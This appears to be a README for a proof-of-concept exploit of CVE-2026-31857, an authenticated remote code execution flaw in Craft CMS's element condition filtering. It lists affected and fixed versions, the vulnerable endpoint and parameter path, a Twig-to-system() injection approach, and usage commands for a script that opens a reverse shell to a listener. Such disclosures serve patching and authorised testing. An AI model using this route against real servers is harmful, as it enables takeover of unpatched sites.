Proof of Concept for CVE-2026-31857, an authenticated Remote Code Execution vulnerability in Craft CMS caused by unsafe processing of user-controlled Twig expressions.
Proof of Concept for CVE-2026-31857, an authenticated Remote Code Execution vulnerability in Craft CMS caused by unsafe processing of user-controlled Twig expressions.
For authorized security testing and educational purposes only.
CVE-2026-31857 is an authenticated Remote Code Execution vulnerability affecting Craft CMS.
The vulnerability exists in the processing of element condition rules. User-controlled data supplied through the element index filtering functionality can reach renderObjectTemplate() and be evaluated as an unsandboxed Twig template.
An authenticated user with access to the Craft Control Panel can therefore achieve arbitrary command execution on the underlying server.
| Craft CMS | Affected | Fixed |
|---|---|---|
| 5.x | 5.0.0-RC1 – 5.9.8 | 5.9.9 |
| 4.x | 4.0.0-beta.1 – 4.17.3 | 4.17.4 |
requestsInstall the required Python dependency:
pip install requests
Start a listener on the machine receiving the connection.
Then run:
python3 exploit.py \
-u https://target.example.com \
-U username \
-P password \
-l 10.10.14.10 \
-p 4444
| Argument | Description |
|---|---|
-u, --url | Target Craft CMS URL |
-U, --username | Craft CMS username |
-P, --password | Craft CMS password |
-l, --lhost | Listener IP address |
-p, --lport | Listener port |
Example:
python3 exploit.py -u http://craft.local -U author -P 'Password123!' -l 10.10.14.5 -p 4444
The PoC performs the following steps:
elementIds condition parameter./index.php?p=admin/actions/element-indexes/count-elements
The relevant request structure is:
JSON body
│
└── filters
│
└── condition[conditionRules][1]
│
└── RelatedToConditionRule
│
└── elementIds
│
└── Twig expression
│
└── command execution
The PoC uses the Twig filter functionality to invoke the system function.
At a high level, the vulnerable flow is:
Authenticated CP User
│
▼
Element Index Filtering
│
▼
RelatedToConditionRule
│
▼
elementIds
│
▼
renderObjectTemplate()
│
▼
Unsandboxed Twig Evaluation
│
▼
Arbitrary Command Execution
The important point is that elementIds is expected to contain element-related data, but attacker-controlled content can reach the object-template rendering functionality instead.
The PoC uses a reverse shell as the observable result of command execution.
A successful HTTP request alone does not prove that RCE occurred. The strongest confirmation is receiving the resulting connection on the listener.
The PoC also uses a short HTTP timeout because command execution can prevent the Craft request from completing normally.
Therefore:
HTTP timeout
≠
guaranteed RCE
It is only treated by this PoC as an indication that the payload may have been triggered. The listener connection provides the actual confirmation.